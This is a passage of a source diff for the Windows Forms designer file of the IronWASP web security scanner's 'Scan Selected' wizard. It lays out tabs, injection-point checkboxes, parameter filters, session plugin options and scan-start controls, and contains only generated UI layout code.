this.Three.Controls.Add(this.StepThreePreviousBtn); - this.Three.Controls.Add(this.StepThreeNextBtn); - this.Three.Controls.Add(this.RefreshSessListLL); - this.Three.Controls.Add(this.textBox1); - this.Three.Controls.Add(this.label5); - this.Three.Location = new System.Drawing.Point(4, 25); - this.Three.Name = "Three"; - this.Three.Size = new System.Drawing.Size(826, 332); - this.Three.TabIndex = 6; - this.Three.Text = " Customization "; - this.Three.UseVisualStyleBackColor = true; - // - // ScanBranchSessionPluginsCombo - // - this.ScanBranchSessionPluginsCombo.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScanBranchSessionPluginsCombo.FormattingEnabled = true; - this.ScanBranchSessionPluginsCombo.Location = new System.Drawing.Point(380, 90); - this.ScanBranchSessionPluginsCombo.Name = "ScanBranchSessionPluginsCombo"; - this.ScanBranchSessionPluginsCombo.Size = new System.Drawing.Size(296, 21); - this.ScanBranchSessionPluginsCombo.TabIndex = 161; - // - // ScanThreadLimitCB - // - this.ScanThreadLimitCB.AutoSize = true; - this.ScanThreadLimitCB.Checked = true; - this.ScanThreadLimitCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ScanThreadLimitCB.Location = new System.Drawing.Point(11, 120); - this.ScanThreadLimitCB.Name = "ScanThreadLimitCB"; - this.ScanThreadLimitCB.Size = new System.Drawing.Size(489, 17); - this.ScanThreadLimitCB.TabIndex = 160; - this.ScanThreadLimitCB.Text = "When a Session Plugin is selected, automatically set the Scan thread limit to one" + - ". (Recommended)"; - this.ScanThreadLimitCB.UseVisualStyleBackColor = true; - // - // textBox4 - // - this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox4.Location = new System.Drawing.Point(8, 182); - this.textBox4.Multiline = true; - this.textBox4.Name = "textBox4"; - this.textBox4.ReadOnly = true; - this.textBox4.Size = new System.Drawing.Size(570, 89); - this.textBox4.TabIndex = 159; - this.textBox4.Text = resources.GetString("textBox4.Text"); - // - // FormatGrid - // - this.FormatGrid.AllowUserToAddRows = false; - this.FormatGrid.AllowUserToDeleteRows = false; - this.FormatGrid.AllowUserToResizeRows = false; - this.FormatGrid.BackgroundColor = System.Drawing.Color.White; - this.FormatGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FormatGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.FormatGrid.ColumnHeadersVisible = false; - this.FormatGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn2, - this.dataGridViewTextBoxColumn2}); - this.FormatGrid.GridColor = System.Drawing.Color.White; - this.FormatGrid.Location = new System.Drawing.Point(591, 161); - this.FormatGrid.Margin = new System.Windows.Forms.Padding(0); - this.FormatGrid.Name = "FormatGrid"; - this.FormatGrid.ReadOnly = true; - this.FormatGrid.RowHeadersVisible = false; - this.FormatGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.FormatGrid.Size = new System.Drawing.Size(227, 126); - this.FormatGrid.TabIndex = 157; - this.FormatGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FormatGrid_CellClick); - // - // dataGridViewCheckBoxColumn2 - // - this.dataGridViewCheckBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn2.HeaderText = ""; - this.dataGridViewCheckBoxColumn2.Name = "dataGridViewCheckBoxColumn2"; - this.dataGridViewCheckBoxColumn2.ReadOnly = true; - this.dataGridViewCheckBoxColumn2.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewCheckBoxColumn2.Width = 20; - // - // dataGridViewTextBoxColumn2 - // - this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn2.HeaderText = "SCAN PLUGINS"; - this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; - this.dataGridViewTextBoxColumn2.ReadOnly = true; - this.dataGridViewTextBoxColumn2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // LaunchSessionPluginCreationAssistantLL - // - this.LaunchSessionPluginCreationAssistantLL.AutoSize = true; - this.LaunchSessionPluginCreationAssistantLL.Location = new System.Drawing.Point(10, 54); - this.LaunchSessionPluginCreationAssistantLL.Name = "LaunchSessionPluginCreationAssistantLL"; - this.LaunchSessionPluginCreationAssistantLL.Size = new System.Drawing.Size(202, 13); - this.LaunchSessionPluginCreationAssistantLL.TabIndex = 156; - this.LaunchSessionPluginCreationAssistantLL.TabStop = true; - this.LaunchSessionPluginCreationAssistantLL.Text = "Launch Session Plugin Creation Assistant"; - this.LaunchSessionPluginCreationAssistantLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LaunchSessionPluginCreationAssistantLL_LinkClicked); - // - // Step3StatusTB - // - this.Step3StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step3StatusTB.BackColor = System.Drawing.Color.White; - this.Step3StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step3StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step3StatusTB.Location = new System.Drawing.Point(130, 302); - this.Step3StatusTB.Multiline = true; - this.Step3StatusTB.Name = "Step3StatusTB"; - this.Step3StatusTB.Size = new System.Drawing.Size(577, 22); - this.Step3StatusTB.TabIndex = 155; - this.Step3StatusTB.TabStop = false; - this.Step3StatusTB.Visible = false; - // - // StepThreePreviousBtn - // - this.StepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepThreePreviousBtn.Location = new System.Drawing.Point(7, 301); - this.StepThreePreviousBtn.Name = "StepThreePreviousBtn"; - this.StepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepThreePreviousBtn.TabIndex = 154; - this.StepThreePreviousBtn.Text = "<-Previous Step"; - this.StepThreePreviousBtn.UseVisualStyleBackColor = true; - this.StepThreePreviousBtn.Click += new System.EventHandler(this.StepThreePreviousBtn_Click); - // - // StepThreeNextBtn - // - this.StepThreeNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepThreeNextBtn.Location = new System.Drawing.Point(713, 301); - this.StepThreeNextBtn.Name = "StepThreeNextBtn"; - this.StepThreeNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepThreeNextBtn.TabIndex = 153; - this.StepThreeNextBtn.Text = "Next Step ->"; - this.StepThreeNextBtn.UseVisualStyleBackColor = true; - this.StepThreeNextBtn.Click += new System.EventHandler(this.StepThreeNextBtn_Click); - // - // RefreshSessListLL - // - this.RefreshSessListLL.AutoSize = true; - this.RefreshSessListLL.Location = new System.Drawing.Point(682, 94); - this.RefreshSessListLL.Name = "RefreshSessListLL"; - this.RefreshSessListLL.Size = new System.Drawing.Size(140, 13); - this.RefreshSessListLL.TabIndex = 152; - this.RefreshSessListLL.TabStop = true; - this.RefreshSessListLL.Text = "Refresh Session Plugins List"; - this.RefreshSessListLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.RefreshSessListLL_LinkClicked); - // - // textBox1 - // - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox1.Location = new System.Drawing.Point(11, 7); - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.ReadOnly = true; - this.textBox1.Size = new System.Drawing.Size(798, 48); - this.textBox1.TabIndex = 151; - this.textBox1.TabStop = false; - this.textBox1.Text = resources.GetString("textBox1.Text"); - // - // label5 - // - this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(10, 94); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(367, 13); - this.label5.TabIndex = 7; - this.label5.Text = "If you want to use a Session Plugin for the scan then select one from this list:"; - // - // Four - // - this.Four.Controls.Add(this.ScanBranchErrorTB); - this.Four.Controls.Add(this.ScanBranchStatsPanel); - this.Four.Controls.Add(this.textBox3); - this.Four.Controls.Add(this.SaveTemplateLL); - this.Four.Controls.Add(this.label29); - this.Four.Controls.Add(this.StepFourPreviousBtn); - this.Four.Controls.Add(this.FinalBtn); - this.Four.Location = new System.Drawing.Point(4, 25); - this.Four.Name = "Four"; - this.Four.Size = new System.Drawing.Size(826, 332); - this.Four.TabIndex = 3; - this.Four.Text = " Done "; - this.Four.UseVisualStyleBackColor = true; - // - // ScanBranchErrorTB - // - this.ScanBranchErrorTB.BackColor = System.Drawing.SystemColors.Control; - this.ScanBranchErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanBranchErrorTB.ForeColor = System.Drawing.Color.Red; - this.ScanBranchErrorTB.Location = new System.Drawing.Point(17, 206); - this.ScanBranchErrorTB.Multiline = true; - this.ScanBranchErrorTB.Name = "ScanBranchErrorTB"; - this.ScanBranchErrorTB.ReadOnly = true; - this.ScanBranchErrorTB.Size = new System.Drawing.Size(798, 46); - this.ScanBranchErrorTB.TabIndex = 98; - this.ScanBranchErrorTB.TabStop = false; - // - // ScanBranchStatsPanel - // - this.ScanBranchStatsPanel.Controls.Add(this.ScanBranchProgressLbl); - this.ScanBranchStatsPanel.Controls.Add(this.ScanBranchProgressBar); - this.ScanBranchStatsPanel.Location = new System.Drawing.Point(169, 293); - this.ScanBranchStatsPanel.Name = "ScanBranchStatsPanel"; - this.ScanBranchStatsPanel.Size = new System.Drawing.Size(449, 27); - this.ScanBranchStatsPanel.TabIndex = 97; - this.ScanBranchStatsPanel.Visible = false; - // - // ScanBranchProgressLbl - // - this.ScanBranchProgressLbl.AutoSize = true; - this.ScanBranchProgressLbl.Location = new System.Drawing.Point(3, 9); - this.ScanBranchProgressLbl.Name = "ScanBranchProgressLbl"; - this.ScanBranchProgressLbl.Size = new System.Drawing.Size(31, 13); - this.ScanBranchProgressLbl.TabIndex = 98; - this.ScanBranchProgressLbl.Text = "Stats"; - // - // ScanBranchProgressBar - // - this.ScanBranchProgressBar.Location = new System.Drawing.Point(265, 2); - this.ScanBranchProgressBar.Name = "ScanBranchProgressBar"; - this.ScanBranchProgressBar.Size = new System.Drawing.Size(181, 23); - this.ScanBranchProgressBar.TabIndex = 0; - // - // textBox3 - // - this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox3.Location = new System.Drawing.Point(14, 17); - this.textBox3.Multiline = true; - this.textBox3.Name = "textBox3"; - this.textBox3.ReadOnly = true; - this.textBox3.Size = new System.Drawing.Size(801, 25); - this.textBox3.TabIndex = 150; - this.textBox3.Text = "You can now start this scan. All scan jobs created would be available under the \'" + - "Automated Scanning\' section. You can stop or restart any of the scans from there" + - ".\r\n"; - // - // SaveTemplateLL - // - this.SaveTemplateLL.AutoSize = true; - this.SaveTemplateLL.Location = new System.Drawing.Point(576, 45); - this.SaveTemplateLL.Name = "SaveTemplateLL"; - this.SaveTemplateLL.Size = new System.Drawing.Size(107, 13); - this.SaveTemplateLL.TabIndex = 149; - this.SaveTemplateLL.TabStop = true; - this.SaveTemplateLL.Text = "Save Scan Template"; - this.SaveTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SaveTemplateLL_LinkClicked); - // - // label29 - // - this.label29.AutoSize = true; - this.label29.Location = new System.Drawing.Point(14, 45); - this.label29.Name = "label29"; - this.label29.Size = new System.Drawing.Size(556, 13); - this.label29.TabIndex = 148; - this.label29.Text = "If you wish to save to the generic settings you entered so far then you can save " + - "it to a scan template file and reuse it."; - // - // StepFourPreviousBtn - // - this.StepFourPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepFourPreviousBtn.Location = new System.Drawing.Point(7, 301); - this.StepFourPreviousBtn.Name = "StepFourPreviousBtn"; - this.StepFourPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepFourPreviousBtn.TabIndex = 147; - this.StepFourPreviousBtn.Text = "<-Previous Step"; - this.StepFourPreviousBtn.UseVisualStyleBackColor = true; - this.StepFourPreviousBtn.Click += new System.EventHandler(this.StepFourPreviousBtn_Click); - // - // FinalBtn - // - this.FinalBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.FinalBtn.Location = new System.Drawing.Point(713, 302); - this.FinalBtn.Name = "FinalBtn"; - this.FinalBtn.Size = new System.Drawing.Size(105, 23); - this.FinalBtn.TabIndex = 146; - this.FinalBtn.Text = "Start Scan"; - this.FinalBtn.UseVisualStyleBackColor = true; - this.FinalBtn.Click += new System.EventHandler(this.FinalBtn_Click); - // - // SaveTemplateDialog - // - this.SaveTemplateDialog.DefaultExt = "isst"; - this.SaveTemplateDialog.Filter = "IronWASP Selected Scan Template|*.isst"; - // - // OpenTemplateDialog - // - this.OpenTemplateDialog.DefaultExt = "isst"; - this.OpenTemplateDialog.Filter = "IronWASP Selected Scan Template|*.isst"; - // - // ScanSelectedWizard - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(834, 361); - this.Controls.Add(this.BaseTabs); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximumSize = new System.Drawing.Size(850, 400); - this.MinimumSize = new System.Drawing.Size(850, 400); - this.Name = "ScanSelectedWizard"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "ScanSelectedWizard"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ScanSelectedWizard_FormClosing); - this.Load += new System.EventHandler(this.ScanSelectedWizard_Load); - this.BaseTabs.ResumeLayout(false); - this.Zero.ResumeLayout(false); - this.Zero.PerformLayout(); - this.One.ResumeLayout(false); - this.One.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).EndInit(); - this.Two.ResumeLayout(false); - this.Two.PerformLayout(); - this.groupBox6.ResumeLayout(false); - this.groupBox6.PerformLayout(); - this.groupBox7.ResumeLayout(false); - this.groupBox7.PerformLayout(); - this.groupBox8.ResumeLayout(false); - this.groupBox8.PerformLayout(); - this.groupBox9.ResumeLayout(false); - this.groupBox9.PerformLayout(); - this.Three.ResumeLayout(false); - this.Three.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.FormatGrid)).EndInit(); - this.Four.ResumeLayout(false); - this.Four.PerformLayout(); - this.ScanBranchStatsPanel.ResumeLayout(false); - this.ScanBranchStatsPanel.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage Zero; - private System.Windows.Forms.Label ScanTemplateNameLbl; - internal System.Windows.Forms.TextBox Step0StatusTB; - private System.Windows.Forms.LinkLabel LoadTemplateLL; - private System.Windows.Forms.Label label11; - private System.Windows.Forms.Button CancelBtn; - private System.Windows.Forms.Button StepZeroNextBtn; - private System.Windows.Forms.TabPage One; - internal System.Windows.Forms.TextBox Step1StatusTB; - internal System.Windows.Forms.CheckBox ScanAllPluginsCB; - private System.Windows.Forms.Button StepOnePreviousBtn; - private System.Windows.Forms.Button StepOneNextBtn; - private System.Windows.Forms.Label label23; - internal System.Windows.Forms.CheckBox InjectNamesCB; - internal System.Windows.Forms.DataGridView ScanPluginsGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; - private System.Windows.Forms.Label label24; - internal System.Windows.Forms.CheckBox InjectHeadersCB; - internal System.Windows.Forms.CheckBox InjectCookieCB; - internal System.Windows.Forms.CheckBox InjectBodyCB; - internal System.Windows.Forms.CheckBox InjectQueryCB; - internal System.Windows.Forms.CheckBox InjectUrlPathPartsCB; - private System.Windows.Forms.TabPage Two; - internal System.Windows.Forms.TextBox Step2StatusTB; - private System.Windows.Forms.Label label25; - private System.Windows.Forms.Label label26; - private System.Windows.Forms.Button StepTwoPreviousBtn; - private System.Windows.Forms.Button StepTwoNextBtn; - private System.Windows.Forms.GroupBox groupBox6; - internal System.Windows.Forms.CheckBox HeadersParametersFilterCB; - internal System.Windows.Forms.TextBox HeadersParametersPlusTB; - internal System.Windows.Forms.TextBox HeadersParametersMinusTB; - internal System.Windows.Forms.RadioButton HeadersParametersPlusRB; - internal System.Windows.Forms.RadioButton HeadersParametersMinusRB; - private System.Windows.Forms.GroupBox groupBox7; - internal System.Windows.Forms.CheckBox QueryParametersFilterCB; - internal System.Windows.Forms.TextBox QueryParametersPlusTB; - internal System.Windows.Forms.TextBox QueryParametersMinusTB; - internal System.Windows.Forms.RadioButton QueryParametersPlusRB; - internal System.Windows.Forms.RadioButton QueryParametersMinusRB; - private System.Windows.Forms.GroupBox groupBox8; - internal System.Windows.Forms.CheckBox BodyParametersFilterCB; - internal System.Windows.Forms.TextBox BodyParametersPlusTB; - internal System.Windows.Forms.TextBox BodyParametersMinusTB; - internal System.Windows.Forms.RadioButton BodyParametersPlusRB; - internal System.Windows.Forms.RadioButton BodyParametersMinusRB; - private System.Windows.Forms.GroupBox groupBox9; - internal System.Windows.Forms.CheckBox CookieParametersFilterCB; - internal System.Windows.Forms.TextBox CookieParametersPlusTB; - internal System.Windows.Forms.TextBox CookieParametersMinusTB; - internal System.Windows.Forms.RadioButton CookieParametersPlusRB; - internal System.Windows.Forms.RadioButton CookieParametersMinusRB; - private System.Windows.Forms.TabPage Three; - internal System.Windows.Forms.ComboBox ScanBranchSessionPluginsCombo; - private System.Windows.Forms.CheckBox ScanThreadLimitCB; - private System.Windows.Forms.TextBox textBox4; - internal System.Windows.Forms.DataGridView FormatGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn2; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; - private System.Windows.Forms.LinkLabel LaunchSessionPluginCreationAssistantLL; - internal System.Windows.Forms.TextBox Step3StatusTB; - private System.Windows.Forms.Button StepThreePreviousBtn; - private System.Windows.Forms.Button StepThreeNextBtn; - private System.Windows.Forms.LinkLabel RefreshSessListLL; - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.TabPage Four; - internal System.Windows.Forms.TextBox ScanBranchErrorTB; - internal System.Windows.Forms.Panel ScanBranchStatsPanel; - internal System.Windows.Forms.Label ScanBranchProgressLbl; - internal System.Windows.Forms.ProgressBar ScanBranchProgressBar; - private System.Windows.Forms.TextBox textBox3; - private System.Windows.Forms.LinkLabel SaveTemplateLL; - private System.Windows.Forms.Label label29; - private System.Windows.Forms.Button StepFourPreviousBtn; - internal System.Windows.Forms.Button FinalBtn; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.SaveFileDialog SaveTemplateDialog; - private System.Windows.Forms.OpenFileDialog OpenTemplateDialog; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class ScanSelectedWizard + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ScanSelectedWizard)); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.Zero = new System.Windows.Forms.TabPage(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.ScanTemplateNameLbl = new System.Windows.Forms.Label(); + this.Step0StatusTB = new System.Windows.Forms.TextBox(); + this.LoadTemplateLL = new System.Windows.Forms.LinkLabel(); + this.label11 = new System.Windows.Forms.Label(); + this.CancelBtn = new System.Windows.Forms.Button(); + this.StepZeroNextBtn = new System.Windows.Forms.Button(); + this.One = new System.Windows.Forms.TabPage(); + this.Step1StatusTB = new System.Windows.Forms.TextBox(); + this.ScanAllPluginsCB = new System.Windows.Forms.CheckBox(); + this.StepOnePreviousBtn = new System.Windows.Forms.Button(); + this.StepOneNextBtn = new System.Windows.Forms.Button(); + this.label23 = new System.Windows.Forms.Label(); + this.InjectNamesCB = new System.Windows.Forms.CheckBox(); + this.ScanPluginsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.label24 = new System.Windows.Forms.Label(); + this.InjectHeadersCB = new System.Windows.Forms.CheckBox(); + this.InjectCookieCB = new System.Windows.Forms.CheckBox(); + this.InjectBodyCB = new System.Windows.Forms.CheckBox(); + this.InjectQueryCB = new System.Windows.Forms.CheckBox(); + this.InjectUrlPathPartsCB = new System.Windows.Forms.CheckBox(); + this.Two = new System.Windows.Forms.TabPage(); + this.Step2StatusTB = new System.Windows.Forms.TextBox(); + this.label25 = new System.Windows.Forms.Label(); + this.label26 = new System.Windows.Forms.Label(); + this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); + this.StepTwoNextBtn = new System.Windows.Forms.Button(); + this.groupBox6 = new System.Windows.Forms.GroupBox(); + this.HeadersParametersFilterCB = new System.Windows.Forms.CheckBox(); + this.HeadersParametersPlusTB = new System.Windows.Forms.TextBox(); + this.HeadersParametersMinusTB = new System.Windows.Forms.TextBox(); + this.HeadersParametersPlusRB = new System.Windows.Forms.RadioButton(); + this.HeadersParametersMinusRB = new System.Windows.Forms.RadioButton(); + this.groupBox7 = new System.Windows.Forms.GroupBox(); + this.QueryParametersFilterCB = new System.Windows.Forms.CheckBox(); + this.QueryParametersPlusTB = new System.Windows.Forms.TextBox(); + this.QueryParametersMinusTB = new System.Windows.Forms.TextBox(); + this.QueryParametersPlusRB = new System.Windows.Forms.RadioButton(); + this.QueryParametersMinusRB = new System.Windows.Forms.RadioButton(); + this.groupBox8 = new System.Windows.Forms.GroupBox(); + this.BodyParametersFilterCB = new System.Windows.Forms.CheckBox(); + this.BodyParametersPlusTB = new System.Windows.Forms.TextBox(); + this.BodyParametersMinusTB = new System.Windows.Forms.TextBox(); + this.BodyParametersPlusRB = new System.Windows.Forms.RadioButton(); + this.BodyParametersMinusRB = new System.Windows.Forms.RadioButton(); + this.groupBox9 = new System.Windows.Forms.GroupBox(); + this.CookieParametersFilterCB = new System.Windows.Forms.CheckBox(); + this.CookieParametersPlusTB = new System.Windows.Forms.TextBox(); + this.CookieParametersMinusTB = new System.Windows.Forms.TextBox(); + this.CookieParametersPlusRB = new System.Windows.Forms.RadioButton(); + this.CookieParametersMinusRB = new System.Windows.Forms.RadioButton(); + this.Three = new System.Windows.Forms.TabPage(); + this.ScanBranchSessionPluginsCombo = new System.Windows.Forms.ComboBox(); + this.ScanThreadLimitCB = new System.Windows.Forms.CheckBox(); + this.textBox4 = new System.Windows.Forms.TextBox(); + this.FormatGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn2 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LaunchSessionPluginCreationAssistantLL = new System.Windows.Forms.LinkLabel(); + this.Step3StatusTB = new System.Windows.Forms.TextBox(); + this.StepThreePreviousBtn = new System.Windows.Forms.Button(); + this.StepThreeNextBtn = new System.Windows.Forms.Button(); + this.RefreshSessListLL = new System.Windows.Forms.LinkLabel(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.Four = new System.Windows.Forms.TabPage(); + this.ScanBranchErrorTB = new System.Windows.Forms.TextBox(); + this.ScanBranchStatsPanel = new System.Windows.Forms.Panel(); + this.ScanBranchProgressLbl = new System.Windows.Forms.Label(); + this.ScanBranchProgressBar = new System.Windows.Forms.ProgressBar(); + this.textBox3 = new System.Windows.Forms.TextBox(); + this.SaveTemplateLL = new System.Windows.Forms.LinkLabel(); + this.label29 = new System.Windows.Forms.Label(); + this.StepFourPreviousBtn = new System.Windows.Forms.Button(); + this.FinalBtn = new System.Windows.Forms.Button(); + this.SaveTemplateDialog = new System.Windows.Forms.SaveFileDialog(); + this.OpenTemplateDialog = new System.Windows.Forms.OpenFileDialog(); + this.BaseTabs.SuspendLayout(); + this.Zero.SuspendLayout(); + this.One.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).BeginInit(); + this.Two.SuspendLayout(); + this.groupBox6.SuspendLayout(); + this.groupBox7.SuspendLayout(); + this.groupBox8.SuspendLayout(); + this.groupBox9.SuspendLayout(); + this.Three.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FormatGrid)).BeginInit(); + this.Four.SuspendLayout(); + this.ScanBranchStatsPanel.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.BaseTabs.Controls.Add(this.Zero); + this.BaseTabs.Controls.Add(this.One); + this.BaseTabs.Controls.Add(this.Two); + this.BaseTabs.Controls.Add(this.Three); + this.BaseTabs.Controls.Add(this.Four); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(834, 361); + this.BaseTabs.TabIndex = 105; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + // + // Zero + // + this.Zero.Controls.Add(this.textBox2); + this.Zero.Controls.Add(this.ScanTemplateNameLbl); + this.Zero.Controls.Add(this.Step0StatusTB); + this.Zero.Controls.Add(this.LoadTemplateLL); + this.Zero.Controls.Add(this.label11); + this.Zero.Controls.Add(this.CancelBtn); + this.Zero.Controls.Add(this.StepZeroNextBtn); + this.Zero.Location = new System.Drawing.Point(4, 25); + this.Zero.Margin = new System.Windows.Forms.Padding(0); + this.Zero.Name = "Zero"; + this.Zero.Size = new System.Drawing.Size(826, 332); + this.Zero.TabIndex = 0; + this.Zero.Text = " Start "; + this.Zero.UseVisualStyleBackColor = true; + // + // textBox2 + // + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Location = new System.Drawing.Point(12, 28); + this.textBox2.Multiline = true; + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(798, 48); + this.textBox2.TabIndex = 152; + this.textBox2.TabStop = false; + this.textBox2.Text = "The Requests from the selected log items will be scanned based on your requiremen" + + "ts.\r\n\r\nThis wizard will help you in configuring this scan, click on \'Next Step\' " + + "to proceed."; + // + // ScanTemplateNameLbl + // + this.ScanTemplateNameLbl.AutoSize = true; + this.ScanTemplateNameLbl.Location = new System.Drawing.Point(172, 200); + this.ScanTemplateNameLbl.Name = "ScanTemplateNameLbl"; + this.ScanTemplateNameLbl.Size = new System.Drawing.Size(220, 13); + this.ScanTemplateNameLbl.TabIndex = 137; + this.ScanTemplateNameLbl.Text = " "; + // + // Step0StatusTB + // + this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step0StatusTB.BackColor = System.Drawing.Color.White; + this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step0StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step0StatusTB.Location = new System.Drawing.Point(127, 289); + this.Step0StatusTB.Multiline = true; + this.Step0StatusTB.Name = "Step0StatusTB"; + this.Step0StatusTB.Size = new System.Drawing.Size(577, 35); + this.Step0StatusTB.TabIndex = 136; + this.Step0StatusTB.TabStop = false; + this.Step0StatusTB.Visible = false; + // + // LoadTemplateLL + // + this.LoadTemplateLL.AutoSize = true; + this.LoadTemplateLL.Location = new System.Drawing.Point(350, 173); + this.LoadTemplateLL.Name = "LoadTemplateLL"; + this.LoadTemplateLL.Size = new System.Drawing.Size(125, 13); + this.LoadTemplateLL.TabIndex = 8; + this.LoadTemplateLL.TabStop = true; + this.LoadTemplateLL.Text = "Load Scan Template File"; + this.LoadTemplateLL.LinkClicked += new 